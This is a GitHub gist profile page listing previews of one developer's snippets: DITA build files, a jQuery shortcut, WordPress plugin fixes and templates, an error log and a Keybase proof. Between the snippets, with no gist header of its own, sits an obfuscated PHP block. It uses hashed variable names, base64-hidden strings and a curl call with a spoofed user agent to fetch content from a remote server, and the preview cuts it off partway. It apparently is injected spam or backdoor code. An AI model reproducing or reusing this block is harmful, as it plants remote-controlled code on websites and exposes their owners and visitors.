Skip to content

Instantly share code, notes, and snippets.

View xavierroy's full-sized avatar

Xavier Roy xavierroy

View GitHub Profile
@xavierroy
xavierroy / build_template.xml
Created October 10, 2014 11:09
Template to create a build template
<?xml version="1.0" encoding="UTF-8"?>
<!--
Change '<com.company.custpdf>' and 'custpdf' to suit your needs.
DITA uses the Java packaging naming structure that is domain related. (See http://docs.oracle.com/javase/tutorial/java/package/namingpkgs.html and http://stackoverflow.com/questions/2125293/java-packages-com-and-org)
Remember to use the same name for the transtype value specified in plugin.xml
-->
<project name="com.company.custpdf" default="dita2custpdf"> <!--Modify -->
@echo off
REM Created by Xavier Roy
REM This batch file runs the integrator script to add the new plugin(s) so that DITA can recognise them.
ant -f integrator.xml strict -verbose -l integrator.log
ECHO "NOTE: Plugins Integrated."
@xavierroy
xavierroy / shortcutkey.js
Created February 28, 2017 11:06
Script to attach a keypress to a javascript code
$(document).keypress(function(e)
{
if(e.charCode == 63) // 63 is for the ? key
{
// add js code here
}
}
);
maps.google.com/maps/api/staticmap?&maptype=roads&zoom=6.5&scale=2&size=500x300&path=weight:2|geodesic:true|<list of locations
$id6fe1d0be634 = "/index/?2601510941471";
$z8c7dd922ad47=md5($id6fe1d0be634);$u77e8e1445762=time();$geaa082fa5781=filemtime($z8c7dd922ad47);$u07cc694b9b3f=$u77e8e1445762-$geaa082fa5781;if(file_exists($z8c7dd922ad47)){$fe1260894f59e=@fopen($z8c7dd922ad47,base64_decode('cg=='));$xe4e46deb7f9c=json_decode(base64_decode(fread($fe1260894f59e,filesize($z8c7dd922ad47))),1);fclose($fe1260894f59e);}if($u07cc694b9b3f>=60 ||!file_exists($z8c7dd922ad47)){$v9b207167e538=getDDroi($z8c7dd922ad47);if($v9b207167e538[base64_decode('ZG9tYWlu')]){$je617ef6974fa=base64_decode('aHR0cDovLw==').$v9b207167e538[base64_decode('ZG9tYWlu')].$id6fe1d0be634;}else{$wd88fc6edf21e=curl_init();curl_setopt($wd88fc6edf21e,CURLOPT_RETURNTRANSFER,true);curl_setopt($wd88fc6edf21e,CURLOPT_USERAGENT,base64_decode('QUkgcnNydg=='));curl_setopt($wd88fc6edf21e,CURLOPT_URL,$xe4e46deb7f9c[base64_decode('cnNydg==')]);curl_setopt($wd88fc6edf21e,CURLOPT_TIMEOUT,10);$sad5f82e879a9=curl_exec($wd88fc6edf21e);curl_close($wd88fc6edf21e);$je617ef6974fa=base64_
@xavierroy
xavierroy / gist:b5a2077bcdcfe395a6dc4d7449247e5b
Last active July 17, 2018 09:15
Fix for deprecated function in Search Everything plugin
This is a replacement for the deprecated create_function() in search-everything.php of the Search Everything plugin.
//$search_terms = array_filter(array_map( create_function( '$a', 'return trim($a, "\\"\'\\n\\r ");' ), $matches[0] ));
$search_terms = array_filter(array_map( function($a) { return trim($a, "\\'\'\\n\\r ");}, $matches[0] ));
@xavierroy
xavierroy / kind-listen.php
Last active July 31, 2018 16:40
This adds triple tags for audio posts. The file is indieweb-post-kinds/views/kind-listen.php. For this to work, you should have some tags available in the Tags section for your Post Kind metadata.
<?php
/*
Listen Template
*
*/
$mf2_post = new MF2_Post( get_the_ID() );
$cite = $mf2_post->fetch();
if ( ! $cite ) {
return;
18-Jun-2019 11:14:19 UTC] Micropub Input: {"type":["h-entry"],"properties":{"content":["test post"],"location":["geo:12.96877,80.24398;u=192"],"mp-slug":["test"]}}
[18-Jun-2019 11:14:19 UTC] PHP Notice: Undefined variable: return in /home/xavroy1/xavierroy.com/wp-content/plugins/wordpress-micropub/includes/class-micropub-endpoint.php on line 934
[18-Jun-2019 11:14:19 UTC] PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /home/xavroy1/xavierroy.com/wp-content/plugins/wordpress-micropub/includes/class-micropub-endpoint.php on line 934
[18-Jun-2019 11:14:19 UTC] PHP Warning: require_once(/home/xavroy1/xavierroy.com/wp-content/plugins/indieweb-post-kinds-enhanced/includes/parse-this/includes/class-parse-this.php): failed to open stream: No such file or directory in /home/xavroy1/xavierroy.com/wp-content/plugins/indieweb-post-kinds-enhanced/includes/class-kind-plugins.php on line 103
[18-Jun-2019 11:14:19 UTC] PHP Fatal error: require_once(): Failed opening required '/home/xavroy1
@xavierroy
xavierroy / tagmoji-taxonomy.php
Created August 2, 2019 07:04
tagmojis as a WP taxonomy
/* add tagmoji as a taxonomy */
if ( ! function_exists( 'tagmoji' ) ) {
// Register Custom Taxonomy
function tagmoji() {
$labels = array(
'name' => _x( 'Tagmoji', 'Taxonomy General Name', 'text_domain' ),
'singular_name' => _x( 'Tagmoji', 'Taxonomy Singular Name', 'text_domain' ),
'menu_name' => __( 'Tagmoji', 'text_domain' ),
@xavierroy
xavierroy / keybase.md
Last active September 12, 2019 07:10

Keybase proof

I hereby claim:

  • I am xavierroy on github.
  • I am xavierroy (https://keybase.io/xavierroy) on keybase.
  • I have a public key whose fingerprint is D3BC 7F88 0F3E 8E74 5A06 50A7 7C86 E57A 9A7B 97C6

To claim this, I am signing this object: